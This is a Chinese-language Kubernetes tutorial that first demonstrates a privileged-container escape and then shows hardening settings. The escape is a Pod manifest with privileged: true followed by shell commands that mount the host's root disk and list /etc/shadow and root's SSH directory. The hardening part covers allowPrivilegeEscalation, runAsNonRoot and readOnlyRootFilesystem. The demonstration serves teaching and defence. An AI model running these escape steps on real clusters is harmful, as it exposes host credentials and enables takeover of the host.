# 心智模型

攻击者容易利用特权容器从受限容器环境侵入宿主机操作系统。

# 🛠️ 实操手册:逃逸演示与防御配置
# 第一阶段:演示特权容器逃逸(危险操作,仅限实验)

我们将演示攻击者如何利用特权容器直接访问宿主机的磁盘。

  1. 部署一个特权 Pod: 注意 privileged: true 这个开关。

YAML


apiVersion: v1
kind: Pod
metadata:
  name: privileged-escape-demo
spec:
  containers:
  - name: attacker-container
    image: alpine
    command: ["sh", "-c", "sleep 3600"]
    securityContext:
      privileged: true  # 开启特权模式
  1. 执行逃逸攻击: 特权容器可以看到宿主机的设备文件。我们可以直接挂载宿主机的根磁盘。

Bash


## 进入容器
kubectl exec -it privileged-escape-demo -- sh

## 在容器内,查看宿主机的磁盘设备(通常是 /dev/sda1 或 /dev/nvme0n1p1)
fdisk -l

## 创建一个挂载点并挂载宿主机根目录
mkdir /host_root
mount /dev/sda1 /host_root  # 请根据 fdisk 结果替换设备名

## 现在,你已经在容器里看到了宿主机的所有敏感文件
ls /host_root/etc/shadow
ls /host_root/root/.ssh/

结论:一旦开启 privileged: true,容器与宿主机之间已无安全可言。


# 第二阶段:配置安全上下文限制权限提升

仅仅不开启 privileged 就够了吗?不够。 很多进程会利用 setuid(如 sudo 命令)在运行时尝试获取更高级别的权限。我们需要通过 allowPrivilegeEscalation: false 封死这条路。

  1. 编写安全加固的 Pod 配置

YAML


apiVersion: v1
kind: Pod
metadata:
  name: hardened-pod
spec:
  containers:
  - name: safe-container
    image: alpine
    command: ["sh", "-c", "sleep 3600"]
    securityContext:
      # 1. 明确禁止特权模式
      privileged: false
      # 2. 禁止进程通过 setuid 等方式获取比父进程更高的权限
      allowPrivilegeEscalation: false
      # 3. 配合之前的实验,以非 root 用户运行
      runAsNonRoot: true
      runAsUser: 1000

# 🔍 核心参数深度解析

allowPrivilegeEscalation (禁止权限提升)

  • 它是干什么的? 它控制 no_new_privs 内核标志。如果设为 false,即使一个程序设置了 SUID 位(比如一个只有 root 才能跑的程序),普通用户也无法通过它获得 root 权限。
  • 为什么重要? 很多提权漏洞(Exploit)依赖于在容器内通过特殊手段获取 root。关掉这个开关,就砍掉了攻击者的“阶梯”。

readOnlyRootFilesystem (只读根文件系统)

  • 建议配合使用

    YAML

    securityContext:
      readOnlyRootFilesystem: true
  • 效果:容器的整个根目录变成只读。如果黑客想下载一个木马脚本到 /tmp/bin,会直接被内核拦截。